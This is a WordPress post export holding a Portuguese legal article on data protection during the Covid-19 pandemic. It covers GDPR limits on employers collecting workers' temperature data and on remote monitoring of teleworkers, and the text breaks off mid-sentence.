{"id":17929,"date":"2020-09-25T10:25:04","date_gmt":"2020-09-25T14:25:04","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=17929"},"modified":"2020-09-25T10:25:04","modified_gmt":"2020-09-25T14:25:04","slug":"artigo-a-protecao-de-dados-e-a-covid19-a-experiencia-portuguesa-na-protecao-do-direito-fundamental-a-protecao-de-dados-pessoais-dos-trabalhadores-e-das-criancas","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-a-protecao-de-dados-e-a-covid19-a-experiencia-portuguesa-na-protecao-do-direito-fundamental-a-protecao-de-dados-pessoais-dos-trabalhadores-e-das-criancas\/","title":{"rendered":"Artigo &#8211; A Prote\u00e7\u00e3o de Dados e a Covid19: a experi\u00eancia portuguesa na prote\u00e7\u00e3o do direito fundamental \u00e0 prote\u00e7\u00e3o de dados pessoais dos trabalhadores e das crian\u00e7as"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>A Prote\u00e7\u00e3o de Dados e a Covid19: a experi\u00eancia portuguesa na prote\u00e7\u00e3o do direito fundamental \u00e0 prote\u00e7\u00e3o de dados pessoais dos trabalhadores e das crian\u00e7as<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><em>Data Protection e Covid19: l&#8217;esperienza portoghese nella tutela del diritto fondamentale alla protezione dei dati personali di lavoratori e di minori<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>C\u00e2ndida Carvalho<a href=\"#_ftn1\" name=\"_ftnref1\"><strong>[1]<\/strong><\/a><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Abstract:<\/em><\/strong> A pandemia Covid-19 trouxe muitos desafios a n\u00edvel mundial. Foram feitos muitos esfor\u00e7os por parte das Organiza\u00e7\u00f5es, Governos e Institui\u00e7\u00f5es de Sa\u00fade para a preven\u00e7\u00e3o do cont\u00e1gio a larga escala do novo coronav\u00edrus. Concomitantemente, foram tomadas medidas extraordin\u00e1rias, como a decreta\u00e7\u00e3o do Estado de Emerg\u00eancia e sucessivas renova\u00e7\u00f5es do mesmo. Passamos por um per\u00edodo de confinamento e isolamento social que fez com que todos tivessem de se adaptar a uma nova realidade sem prazo definido para terminar. Este artigo debru\u00e7a-se na realidade portuguesa, nas medidas que foram tomadas para mitigar os danos sociais e econ\u00f3micos e prevenir o cont\u00e1gio, nas consequ\u00eancias das mesmas e, em especial, a an\u00e1lise de situa\u00e7\u00f5es de viola\u00e7\u00f5es de direitos fundamentais, designadamente o direito \u00e0 prote\u00e7\u00e3o de dados pessoais, em particular, dos trabalhadores e das crian\u00e7as em regime de ensino \u00e0 dist\u00e2ncia, reportadas \u00e0 autoridade de controlo portuguesa. A maioria das altera\u00e7\u00f5es no contexto da presta\u00e7\u00e3o do trabalho e do ensino \u00e0 dist\u00e2ncia s\u00e3o leg\u00edtimas, no entanto, a preven\u00e7\u00e3o do cont\u00e1gio n\u00e3o legitima a ado\u00e7\u00e3o de toda e qualquer medida por parte das entidades empregadoras e dos estabelecimentos de ensino, principalmente, quando colocam em causa liberdade, direitos e garantias dos cidad\u00e3os. Foi conduzida uma pesquisa da doutrina jur\u00eddica, artigos, decis\u00f5es, orienta\u00e7\u00f5es e pareceres nas bases de dados da Comiss\u00e3o Nacional de Prote\u00e7\u00e3o de Dados, Conselho da Europa e Dire\u00e7\u00e3o-Geral de Sa\u00fade, entre janeiro de 2020 at\u00e9 Setembro de 2020, tendo em vista a identifica\u00e7\u00e3o de orienta\u00e7\u00f5es publicados sobre a prote\u00e7\u00e3o de dados em contexto da pandemia, em especial, no que concerne aos trabalhadores e crian\u00e7as em regime de ensino \u00e0 dist\u00e2ncia.<\/p>\n<p style=\"text-align: justify;\"><strong>Palavras-chaves:<\/strong> prote\u00e7\u00e3o de dados; covid19; direito laboral; direitos das crian\u00e7as; vulnerabilidade;<\/p>\n<p style=\"text-align: justify;\"><em>\u00a0<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Sum\u00e1rio:<\/strong> Introdu\u00e7\u00e3o; A prote\u00e7\u00e3o de dados em contexto laboral em tempos de pandemia; Recolha de dados de sa\u00fade dos trabalhadores; Controlo \u00e0 dist\u00e2ncia em regime de teletrabalho; A prote\u00e7\u00e3o de dados das crian\u00e7as atrav\u00e9s da utiliza\u00e7\u00e3o de tecnologias se suporte ao ensino \u00e0 dist\u00e2ncia; Recolha dos dados de sa\u00fade dos alunos; Conclus\u00f5es.<\/p>\n<p style=\"text-align: justify;\"><em>\u00a0<\/em><\/p>\n<p style=\"text-align: justify;\"><strong><em>Abstract:<\/em><\/strong> La pandemia Covid-19 ha portato molte sfide in tutto il mondo. Molti sforzi sono stati compiuti da organizzazioni sanitarie, governi e istituzioni per prevenire il contagio su larga scala dal nuovo coronavirus. Contestualmente sono state adottate misure straordinarie, come l&#8217;emanazione dello Stato di emergenza e successivi rinnovi dello stesso. Abbiamo attraversato un periodo di reclusione e isolamento sociale che ha costretto tutti ad adattarsi a una nuova realt\u00e0 senza una scadenza prefissata. Questo articolo si concentra sulla realt\u00e0 portoghese, le misure che sono state prese per mitigare i danni sociali ed economici e prevenire il contagio, le conseguenze di questi e, in particolare, l&#8217;analisi di situazioni di violazione dei diritti fondamentali, vale a dire il diritto alla protezione dati personali, in particolare, lavoratori e bambini che studiano a distanza, segnalati all&#8217;autorit\u00e0 di controllo portoghese. La maggior parte dei cambiamenti nel contesto dell&#8217;offerta di lavoro e dell&#8217;apprendimento a distanza sono legittimi, tuttavia, la prevenzione del contagio non legittima l&#8217;adozione di tutte le misure da parte dei datori di lavoro e degli istituti scolastici, specialmente quando causa libert\u00e0, diritti e garanzie dei cittadini. Tra gennaio 2020 e settembre 2020 \u00e8 stata condotta una ricerca di dottrina giuridica, articoli, decisioni, linee guida e pareri nelle banche dati della Commissione nazionale per la protezione dei dati, del Consiglio d&#8217;Europa e della Direzione generale della Salute, al fine di individuazione delle linee guida pubblicate sulla protezione dei dati nel contesto della pandemia, soprattutto per quanto riguarda i lavoratori e i bambini che frequentano l&#8217;istruzione a distanza.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Parole chiave:<\/em><\/strong><em> protezione dati; Covid19; diritto del lavoro; diritti dei bambini; vulnerabilit\u00e0;<\/em><\/p>\n<p style=\"text-align: justify;\"><strong><em>Riepilogo:<\/em><\/strong><em> Introduzione; Protezione dei dati sul posto di lavoro in tempi di pandemia; Raccolta dei dati sanitari dei lavoratori; Telecomando per telelavoro; La protezione dei dati dei bambini attraverso l&#8217;uso delle tecnologie \u00e8 supportata dall&#8217;apprendimento a distanza; Raccolta di dati sulla salute degli studenti; Conclusioni.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>\u00a0<\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\">\n<li><strong>Introdu\u00e7\u00e3o <\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Atendendo \u00e0 emerg\u00eancia de sa\u00fade p\u00fablica de \u00e2mbito internacional, declarada pela Organiza\u00e7\u00e3o Mundial de Sa\u00fade, no dia 30 de janeiro de 2020, bem como \u00e0 classifica\u00e7\u00e3o do v\u00edrus como uma pandemia, no dia 11 de mar\u00e7o de 2020, verificamos que at\u00e9 ao momento Portugal registou cerca de 60258 casos, dos quais 42953 encontram-se recuperados, registando um total de 1840 mortes. A Regi\u00e3o de Lisboa \u00e9 a que apresenta maior n\u00famero de casos, cerca de 29921, seguido da Regi\u00e3o do Norte, com cerca de 20859 casos, todavia, esta regi\u00e3o apresenta um maior n\u00famero de mortes, quando comparado com a Regi\u00e3o de Lisboa, sendo a Regi\u00e3o Aut\u00f3noma da Madeira a que apresenta o menor n\u00famero de casos sem registo de mortes<a href=\"#_ftn2\" name=\"_ftnref2\">[2]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Importa analisar o alcance de algumas das medidas de conting\u00eancia para a epidemia SARS-CoV-2 e de preven\u00e7\u00e3o de cont\u00e1gio de COVID-19, e o regime legal adequado a esta realidade excecional, em especial no que respeita a mat\u00e9ria de prote\u00e7\u00e3o de dados em contexto laboral e em regime de ensino \u00e0 dist\u00e2ncia. A situa\u00e7\u00e3o excecional que se vive no momento atual e a prolifera\u00e7\u00e3o de casos registados de cont\u00e1gio de COVID -19 exige a aplica\u00e7\u00e3o de medidas extraordin\u00e1rias e de car\u00e1ter urgente, todavia, mesmo perante uma situa\u00e7\u00e3o catastr\u00f3fica como a que estamos a viver n\u00e3o podemos permitir que direitos fundamentais como o direito \u00e0 prote\u00e7\u00e3o de dados pessoais n\u00e3o seja respeitado.<\/p>\n<p style=\"text-align: justify;\">Nenhuma medida preventiva justifica a limita\u00e7\u00e3o dos direitos fundamentais de um ser humano quando n\u00e3o tem por base um fundamento legal ou o cumprimento de todos os pressupostos de licitude. O artigo que apresentamos prende-se com quest\u00f5es colocadas diretamente \u00e0 autoridade de controlo portuguesa, por estar em causa, a viola\u00e7\u00e3o do direito \u00e0 prote\u00e7\u00e3o de dados pessoais, na maioria dos casos, por haver um abuso de posi\u00e7\u00e3o da entidade empregadora, no que respeita ao controlo de temperatura dos trabalhadores e do trabalho \u00e0 dist\u00e2ncia e pelos estabelecimentos de ensino, no que concerne \u00e0s plataformas utilizadas em regime de ensino \u00e0 dist\u00e2ncia e no controlo de temperatura dos alunos imposto \u00e0 entrada das escolas com o retomar do ensino presencial.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"2\">\n<li><strong>A prote\u00e7\u00e3o de dados em contexto laboral em tempos de pandemia <\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Nesta sec\u00e7\u00e3o compete-nos analisar a forma de salvaguardar o direito \u00e0 prote\u00e7\u00e3o dos dados pessoais dos trabalhadores que possam estar a ser violados devido ao contexto pand\u00e9mico que estamos a viver. Propomos a an\u00e1lise da possibilidade de recolha de dados de sa\u00fade dos trabalhadores, designadamente, o controlo de temperatura dos mesmos e tamb\u00e9m do controlo \u00e0 dist\u00e2ncia de um trabalhador em regime de teletrabalho, por serem as duas quest\u00f5es que mais levantaram preocupa\u00e7\u00f5es por parte dos trabalhadores e das entidades empregadoras.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li><strong> Recolha de dados de sa\u00fade dos trabalhadores<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Devido \u00e0 pandemia provocada pelo novo coronav\u00edrus SARS-CoV-2 e da doen\u00e7a Covid-19, as empresas foram obrigadas a adotar determinadas medidas que garantissem a seguran\u00e7a de todos os trabalhadores e prevenisses o poss\u00edvel cont\u00e1gio entre a equipa. Algumas das medidas prende-se com a recolha e o registo de dados relativos \u00e0 sa\u00fade e de vida privada dos trabalhadores, o que inclui a medi\u00e7\u00e3o de temperatura corporal dos trabalhadores, com o intuito de encontrar algum ind\u00edcio de infe\u00e7\u00e3o pelos v\u00edrus indicados.<\/p>\n<p style=\"text-align: justify;\">Atendendo a esta realidade e observando n.\u00ba1 e 2, do artigo 4.\u00ba do Regulamento Geral sobre a Prote\u00e7\u00e3o de Dados (RGPD)<a href=\"#_ftn3\" name=\"_ftnref3\">[3]<\/a>, verificamos que estamos perante uma situa\u00e7\u00e3o de tratamento de dados pessoais, por estar em causa informa\u00e7\u00f5es relativas a uma pessoa singular identificada ou identific\u00e1vel, designadamente, o trabalhador que \u00e9 o titular dos dados pessoais que \u00e9 facilmente identificado atrav\u00e9s da refer\u00eancia a elementos identificadores como o nome, dados de localiza\u00e7\u00e3o, identidade f\u00edsica, fisiol\u00f3gica, gen\u00e9tica, entre outros; e, por todos estes elementos passarem por uma opera\u00e7\u00e3o ou conjunto de opera\u00e7\u00f5es, por meios automatizados ou n\u00e3o automatizados, como por exemplo, a recolha, o registo, a organiza\u00e7\u00e3o, a estrutura\u00e7\u00e3o, a conserva\u00e7\u00e3o, a adapta\u00e7\u00e3o ou altera\u00e7\u00e3o, a recupera\u00e7\u00e3o, a consulta, a utiliza\u00e7\u00e3o, a divulga\u00e7\u00e3o por transmiss\u00e3o, a difus\u00e3o ou qualquer outra forma de disponibiliza\u00e7\u00e3o, a compara\u00e7\u00e3o ou interconex\u00e3o, a limita\u00e7\u00e3o, o apagamento ou a destrui\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">N\u00e3o podemos ignorar que a medi\u00e7\u00e3o de temperatura corporal integra-se nos dados pessoais relativos \u00e0 sa\u00fade, por serem dados relacionados com a sa\u00fade f\u00edsica do trabalhador e por revelarem informa\u00e7\u00f5es sobre o seu estado de sa\u00fade, conforme atesta o n.\u00ba15, do artigo 4.\u00ba do RGPD. Os dados relativos \u00e0 sa\u00fade s\u00e3o considerados dados sens\u00edveis, que merecem prote\u00e7\u00e3o espec\u00edfica pela sua natureza especialmente sens\u00edvel da \u00f3tica dos direitos e liberdades fundamentais, uma vez que o contexto do tratamento desses dados poder\u00e1 implicar riscos significativos para os direitos e liberdades fundamentais e, inclusive, provocar situa\u00e7\u00f5es de discrimina\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Atendendo ao artigo 9.\u00ba do RGPD, o tratamento de dados pessoas relativos \u00e0 sa\u00fade \u00e9 proibido, no entanto, a al\u00ednea b) e h) do n.\u00ba2, do referido artigo afasta a regra da proibi\u00e7\u00e3o de tratamento de dados pessoais caso seja necessito para efeito do cumprimento de obriga\u00e7\u00f5es e do exerc\u00edcio de direitos espec\u00edficos do respons\u00e1vel pelo tratamento ou do titular dos dados em mat\u00e9ria de legisla\u00e7\u00e3o laboral, na medida em que esse tratamento seja permitido pelo direito da Uni\u00e3o ou dos Estados-Membros ou caso o tratamento seja necess\u00e1rio para efeitos de medicina preventiva ou do trabalho, para a avalia\u00e7\u00e3o da capacidade de trabalho do trabalhador, o diagn\u00f3stico m\u00e9dico, a presta\u00e7\u00e3o de cuidados ou tratamentos de sa\u00fade tenha por base o direito da Uni\u00e3o ou dos Estados-Membros.<\/p>\n<p style=\"text-align: justify;\">Significa que o empregador n\u00e3o tem legitimidade para recolher e registar a temperatura dos seus funcion\u00e1rios ou outro dado de sa\u00fade dos mesmos, uma vez que, no contexto da nossa lei nacional, s\u00f3 \u00e9 permitida a recolha de informa\u00e7\u00e3o de sa\u00fade no contexto da medicina no trabalho. Obviamente que, a situa\u00e7\u00e3o pand\u00e9mica vivida a n\u00edvel mundial e a decreta\u00e7\u00e3o do Estado de Emerg\u00eancia justificou e justifica algumas das altera\u00e7\u00f5es profundas no \u00e2mbito da rela\u00e7\u00e3o empregador-trabalhador, trabalhador-trabalhador e na presta\u00e7\u00e3o do trabalho a t\u00edtulo geral, por\u00e9m, a preocupa\u00e7\u00e3o em prevenir o cont\u00e1gio dentro da empresa pelo novo corona v\u00edrus n\u00e3o permite a aplica\u00e7\u00e3o arbitr\u00e1ria de qualquer medida.<\/p>\n<p style=\"text-align: justify;\">\u00c9 aceit\u00e1vel que as empresas coloquem em a\u00e7\u00e3o as orienta\u00e7\u00f5es da Dire\u00e7\u00e3o Geral de Sa\u00fade, designadamente, a distribui\u00e7\u00e3o no espa\u00e7o e no tempo dos trabalhadores, a intensifica\u00e7\u00e3o dos cuidados de higiene, atrav\u00e9s da lavagem frequente das m\u00e3os ou da utiliza\u00e7\u00e3o da solu\u00e7\u00e3o antiss\u00e9ptica de base alco\u00f3lica, a utiliza\u00e7\u00e3o de m\u00e1scaras cir\u00fargicas, entre outras<a href=\"#_ftn4\" name=\"_ftnref4\">[4]<\/a>. Pois, de acordo com o artigo 5.\u00ba do Regime Jur\u00eddico da Promo\u00e7\u00e3o da Seguran\u00e7a e Sa\u00fade no Trabalho, o trabalhador tem direito \u00e0 presta\u00e7\u00e3o de trabalho em condi\u00e7\u00f5es que respeitem a sua seguran\u00e7a e a sua sa\u00fade, asseguradas pelo empregador, sendo que, ao abrigo do artigo 15.\u00ba do referido Regime, o empregador deve assegurar ao trabalhador condi\u00e7\u00f5es de seguran\u00e7a e de sa\u00fade em todos os aspetos do seu trabalho, para tal, deve, entre outros, evitar, prevenir, identificar e combater todos os riscos em todas as atividades da empresa.<\/p>\n<p style=\"text-align: justify;\">No entanto, n\u00e3o \u00e9 toler\u00e1vel que o empregador tome iniciativas arbitr\u00e1rias que n\u00e3o encontrem justifica\u00e7\u00e3o na lei nacional. Isto \u00e9, numa primeira an\u00e1lise n\u00e3o \u00e9 permitido a nenhuma empresa a medi\u00e7\u00e3o da temperatura de um funcion\u00e1rio ou a recolha de outra informa\u00e7\u00e3o de sa\u00fade, pois, n\u00e3o existe nenhuma lei que o permita, trata-se de uma tarefa exclusiva das autoridades de sa\u00fade ou do pr\u00f3prio trabalhador, num processo de automonitoriza\u00e7\u00e3o e porque nenhuma autoridade de sa\u00fade transferiu tal poder aos empregadores.<\/p>\n<p style=\"text-align: justify;\">A \u00fanica forma de avaliar o estado de sa\u00fade dos trabalhadores \u00e9 atrav\u00e9s dos profissionais de sa\u00fade no \u00e2mbito da medicina do trabalho, conforme a Lei n.\u00ba 102\/2009, de 10 de Setembro, alterada pela Lei n.\u00ba 79\/2019, de 2 de Setembro, que a atestam a aptid\u00e3o ou inaptid\u00e3o do trabalhador para o trabalho em quest\u00e3o. Neste sentido, a Comiss\u00e3o Nacional de Prote\u00e7\u00e3o de Dados (CNPD) alerta que a eventual recolha, atrav\u00e9s de preenchimento de question\u00e1rios pelo trabalhador, de informa\u00e7\u00e3o relativa \u00e0 sa\u00fade ou \u00e0 vida privada do mesmo relacionada com a sua sa\u00fade s\u00f3 est\u00e1 legitimada se for realizada direta e exclusivamente pelo profissional de medicina no trabalho, tendo em vista a ado\u00e7\u00e3o dos procedimentos adequados a salvaguardar a sa\u00fade dos pr\u00f3prios e de terceiros. Acrescentando que, as entidades empregadores devem limitar a sua atua\u00e7\u00e3o de acordo com\u00a0 as orienta\u00e7\u00f5es da autoridade nacional de sa\u00fade para a preven\u00e7\u00e3o de cont\u00e1gio pelo novo corona v\u00edrus no contexto laboral, em particular as dirigidas \u00e0s entidades empregadoras em certos setores de atividade, abstendo-se de adotar iniciativas que impliquem a recolha de dados pessoais de sa\u00fade dos seus trabalhadores quando as mesmas n\u00e3o tenham base legal, nem tenham sido ordenadas pelas autoridades administrativas competentes<a href=\"#_ftn5\" name=\"_ftnref5\">[5]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Tendo em conta a posi\u00e7\u00e3o da CNPD em mat\u00e9ria de recolha de temperatura corporal, foram levantadas algumas quest\u00f5es, que se prendiam com o facto de ser ignorada a exce\u00e7\u00e3o do pr\u00f3prio trabalhador poder dar o seu consentimento expresso para recolha e tratamento desse dado de sa\u00fade em espec\u00edfico, uma vez que \u00e9 considerado um dos sinais mais fidedignos de uma poss\u00edvel infe\u00e7\u00e3o e consequente necessidade de isolamento profil\u00e1tico; designadamente, se n\u00e3o estavam a ser criadas cadeias de cont\u00e1gio, pondo em causa a sa\u00fade dos cidad\u00e3os, se o direito \u00e0 reserva da intimidade da vida privada, da forma como \u00e9 salvaguardado pelas regras de prote\u00e7\u00e3o de dados pessoais, deve prevalecer sempre sobre todos os demais direitos pessoais, nomeadamente, os direitos fundamentais \u00e0 vida e \u00e0 prote\u00e7\u00e3o da sa\u00fade, entre outras<a href=\"#_ftn6\" name=\"_ftnref6\">[6]<\/a>.<\/p>\n<p style=\"text-align: justify;\">A quest\u00e3o em apre\u00e7o tem a sua particular complexidade. Em primeiro lugar, podemos ressalvar que o direito \u00e0 prote\u00e7\u00e3o dos dados pessoais, \u00e9 considerado um direito fundamental, previsto no n\u00ba1, do artigo 35.\u00ba da Constitui\u00e7\u00e3o da Rep\u00fablica Portuguesa (CRP) e no n.\u00ba1, do artigo 8.\u00ba da Carta dos Direitos Fundamentais da Uni\u00e3o Europeia, o que traduz no controlo que as pessoas t\u00eam sobre a informa\u00e7\u00e3o a elas, como forma de salvaguardar a privacidade e a liberdade individual. \u00c9 neste sentido que surge o consentimento como fundamento para o tratamento l\u00edcito de dados pessoais, nos termos no n.\u00ba11, do artigo 4.\u00ba do RGPD o consentimento traduz-se numa manifesta\u00e7\u00e3o de vontade, livre, espec\u00edfica, informada e expl\u00edcita, pela qual o titular dos dados aceita, mediante declara\u00e7\u00e3o ou ato positivo inequ\u00edvoco, que os dados pessoais que lhe dizem respeito sejam objeto de tratamento. Observando o considerando 32 constatamos que o consentimento do titular dos dados dever\u00e1 ser dado mediante um ato positivo claro que indique uma manifesta\u00e7\u00e3o de vontade livre, espec\u00edfica, informada e inequ\u00edvoca de que o titular de dados consente no tratamento dos dados que lhe digam respeito, como por exemplo mediante uma declara\u00e7\u00e3o escrita, inclusive em formato eletr\u00f3nico, ou uma declara\u00e7\u00e3o oral. O consentimento pode ser dado validando uma op\u00e7\u00e3o ao visitar um s\u00edtio web na Internet, selecionando os par\u00e2metros t\u00e9cnicos para os servi\u00e7os da sociedade da informa\u00e7\u00e3o ou mediante outra declara\u00e7\u00e3o ou conduta que indique claramente nesse contexto que aceita o tratamento proposto dos seus dados pessoais. O sil\u00eancio, as op\u00e7\u00f5es pr\u00e9-validadas ou a omiss\u00e3o n\u00e3o dever\u00e3o, por conseguinte, constituir um consentimento. O consentimento dever\u00e1 abranger todas as atividades de tratamento realizadas com a mesma finalidade. Nos casos em que o tratamento sirva fins m\u00faltiplos, dever\u00e1 ser dado um consentimento para todos esses fins. Se o consentimento tiver de ser dado no seguimento de um pedido apresentado por via eletr\u00f3nica, esse pedido tem de ser claro e conciso e n\u00e3o pode perturbar desnecessariamente a utiliza\u00e7\u00e3o do servi\u00e7o para o qual \u00e9 fornecido<a href=\"#_ftn7\" name=\"_ftnref7\">[7]<\/a>.<\/p>\n<p style=\"text-align: justify;\">No seguimento da defini\u00e7\u00e3o de consentimento facilmente constatamos que numa rela\u00e7\u00e3o laboral, entre empregador e trabalhador, pode, em alguns casos, n\u00e3o existir uma liga\u00e7\u00e3o de paridade, o que faz com que o trabalhar, por quest\u00f5es de receio ou repres\u00e1lias, d\u00ea o seu consentimento que na letra da lei n\u00e3o \u00e9 v\u00e1lido, por n\u00e3o ser livre, sendo que o tratamento de dados pessoais com base no consentimento inv\u00e1lido n\u00e3o \u00e9 l\u00edcito, conforme atesta o considerando 43 do RGPD, pois, a fim de assegurar que o consentimento \u00e9 dado de livre vontade, este n\u00e3o dever\u00e1 constituir fundamento jur\u00eddico v\u00e1lido para o tratamento de dados pessoais em casos espec\u00edficos em que exista um desequil\u00edbrio manifesto entre o titular dos dados e o respons\u00e1vel pelo seu tratamento<a href=\"#_ftn8\" name=\"_ftnref8\">[8]<\/a>, ou seja, entre o trabalhador e o empregador.<\/p>\n<p style=\"text-align: justify;\">A CNPD veio esclarecer a sua posi\u00e7\u00e3o e responder \u00e0s quest\u00f5es levantadas afirmando que fora do quadro da medicina do trabalho, legalmente definido, n\u00e3o existia, \u00e0 data da emiss\u00e3o das orienta\u00e7\u00f5es, outra circunst\u00e2ncia que suportasse o tratamento de dados pessoais relativos \u00e0 sa\u00fade dos trabalhadores pela respetiva entidade empregadora; com efeito, a hip\u00f3tese do consentimento n\u00e3o pode ser equacionada pela evidente aus\u00eancia de garantias de liberdade do consentimento. Mais acrescenta que, o interesse p\u00fablico no dom\u00ednio da sa\u00fade p\u00fablica s\u00f3 pode ser invocado no contexto que estamos a viver atrav\u00e9s de um diploma legal que preveja medidas adequadas e espec\u00edficas que salvaguardem os direitos fundamentais e os interesses do titular dos dados, em particular o sigilo profissionais, de acordo com as al\u00edneas i) e g), do n.\u00ba2, do artigo 9.\u00ba do RGPD<a href=\"#_ftn9\" name=\"_ftnref9\">[9]<\/a>.<\/p>\n<p style=\"text-align: justify;\">De facto, n\u00e3o podemos permitir que cada um defina o que entende por interesse p\u00fablico ou sa\u00fade p\u00fablica ou que trace estrat\u00e9gias que colocam em causa dos direitos fundamentais de terceiros, sem qualquer base legal ou na aus\u00eancia de orienta\u00e7\u00f5es da autoridade nacional de sa\u00fade. Acompanhamos a posi\u00e7\u00e3o da CNPD quando afirma que, \u201cnum Estado de Direito Democr\u00e1tico, cabe \u00e0s entidades administrativas a atribui\u00e7\u00e3o espec\u00edfica de prosseguir os interesses p\u00fablicos e, no exerc\u00edcio dessa fun\u00e7\u00e3o, com poderes de orienta\u00e7\u00e3o dos comportamentos dos cidad\u00e3os e das empresas em termos de coordenar a resposta e encontrar o meio mais adequado para alcan\u00e7ar os interesses atribu\u00eddos, em especial quanto a avalia\u00e7\u00e3o de tais medidas pressup\u00f5e conhecimentos cient\u00edficos e t\u00e9cnicos de que aquelas entidades disp\u00f5em, ao contr\u00e1rio da generalidade dos cidad\u00e3os, sejam eles empregadores ou n\u00e3o. Por outras palavras, cabe \u00e0 Dire\u00e7\u00e3o-Geral de Sa\u00fade, enquanto autoridade nacional de sa\u00fade, orientar os cidad\u00e3os e as empresas quanto ao caminho a seguir na resolu\u00e7\u00e3o da presente situa\u00e7\u00e3o pand\u00e9mica. E a Dire\u00e7\u00e3o-Geral de Sa\u00fade tem insistido, nas diferentes orienta\u00e7\u00f5es emitidas nos \u00faltimos meses, e com esfor\u00e7o de atualiza\u00e7\u00e3o, no processo de automonitoriza\u00e7\u00e3o dos trabalhadores\u201d<a href=\"#_ftn10\" name=\"_ftnref10\">[10]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Atualmente, todas as orienta\u00e7\u00f5es da Dire\u00e7\u00e3o-Geral de Sa\u00fade, assim como as do Col\u00e9gio da Especialidade de Medicina do Trabalho recomendam a automonitoriza\u00e7\u00e3o, em contexto pand\u00e9mico, para tal, o trabalhador deve medir a sua temperatura corporal antes de sair de casa e no caso de ser superior a 37,8.\u00ba C, comunicar \u00e0 empresa, evitando a desloca\u00e7\u00e3o para o local de trabalho, o trabalhador dever\u00e1 igualmente reavaliar a medica\u00e7\u00e3o da temperatura \u00e0 entrada do local de trabalho, caso apresente febre, dever\u00e1 o trabalhador ser encaminhado para o seu domic\u00edlio ou para uma sala de isolamento preconizada no Plano de Conting\u00eancia, caso preencha os crit\u00e9rios de diagn\u00f3stico<a href=\"#_ftn11\" name=\"_ftnref11\">[11]<\/a>.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li><strong> Controlo \u00e0 dist\u00e2ncia em regime de teletrabalho <\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">No contexto da pandemia e atendendo as medidas de confinamento e isolamento social, o recurso ao teletrabalho generalizou-se por todo o pa\u00eds. O teletrabalho vem definido no artigo 165.\u00ba do C\u00f3digo do Trabalho<a href=\"#_ftn12\" name=\"_ftnref12\">[12]<\/a>, trata-se da presta\u00e7\u00e3o laboral realizada com subordina\u00e7\u00e3o jur\u00eddica, habitualmente fora da empresa e atrav\u00e9s do recurso a tecnologia de informa\u00e7\u00e3o e de comunica\u00e7\u00e3o. Esta foi uma das medidas excecionais e tempor\u00e1rias tomadas, tendo em conta a situa\u00e7\u00e3o epidemiol\u00f3gica que est\u00e1vamos vivendo, assim, de acordo com o Decreto-Lei n.\u00ba 10-A\/2020, de 13 de mar\u00e7o, foram criadas formas alternativas de trabalho, nos termos do artigo 29.\u00ba do referido Decreto, o regime de presta\u00e7\u00e3o subordinada de teletrabalho poderia ser determinado unilateralmente pelo empregador ou requerida pelo trabalhador, sem necessidade de acordo das partes, desde que compat\u00edvel com as fun\u00e7\u00f5es exercidas<a href=\"#_ftn13\" name=\"_ftnref13\">[13]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Esta medida fez com que chegasse at\u00e9 \u00e0 CNPD diversas quest\u00f5es sobre o controlo, quer dos tempos de trabalho, quer de atividade laboral prestada em regime de teletrabalho a partir do domic\u00edlio do trabalhador, neste sentido, atendendo \u00e0s al\u00edneas b) e d), do n.\u00ba1, do artigo 57.\u00ba e da al\u00ednea b), do n.\u00ba1, do artigo 58.\u00ba do RGPD e aos artigos 3.\u00ba e 6.\u00ba da Lei n.\u00ba 58\/2019, de 8 de agosto, a CNPD, como autoridade de controlo promoveu a sensibiliza\u00e7\u00e3o e a compreens\u00e3o do p\u00fablico relativamente aos riscos, \u00e0s regras, \u00e0s garantias e aos direitos associados ao tratamento dos dados pessoais do trabalhador e promoveu a sensibiliza\u00e7\u00e3o dos respons\u00e1veis pelo tratamento e dos subcontratantes para as suas obriga\u00e7\u00f5es nos termos do RGPD, atrav\u00e9s de orienta\u00e7\u00f5es de modo a garantir a conformidade dos tratamentos de dados pessoais dos trabalhadores com o regime jur\u00eddico de prote\u00e7\u00e3o de dados e minimizar o impacto sobre a privacidade em regime de teletrabalho<a href=\"#_ftn14\" name=\"_ftnref14\">[14]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Analisando as orienta\u00e7\u00f5es da CNPD em mat\u00e9ria do controlo \u00e0 dist\u00e2ncia em regime de teletrabalho observamos o seguinte: caso os instrumentos de trabalho respeitantes a tecnologias de informa\u00e7\u00e3o e de comunica\u00e7\u00e3o utilizados pelo trabalhador em teletrabalho pertencerem ao empregador, os trabalhadores devem observar as regras de utiliza\u00e7\u00e3o e funcionamento dos instrumentos de trabalho que lhe forem disponibilizados e s\u00f3 o devem utilizar para a presta\u00e7\u00e3o de trabalho, caso n\u00e3o exista um acordo em contr\u00e1rio; nos casos em que n\u00e3o foi poss\u00edvel as entidades empregadores se terem dotado de recursos tecnol\u00f3gicos para disponibilizar \u00e0 maioria dos seus funcion\u00e1rios e estes veem-se obrigados a utilizar os seus recursos privados, \u00e9 necess\u00e1rio ter alguma cautela na imposi\u00e7\u00e3o de algumas medidas, pois, independentemente da propriedade dos instrumentos de trabalho, o empregador 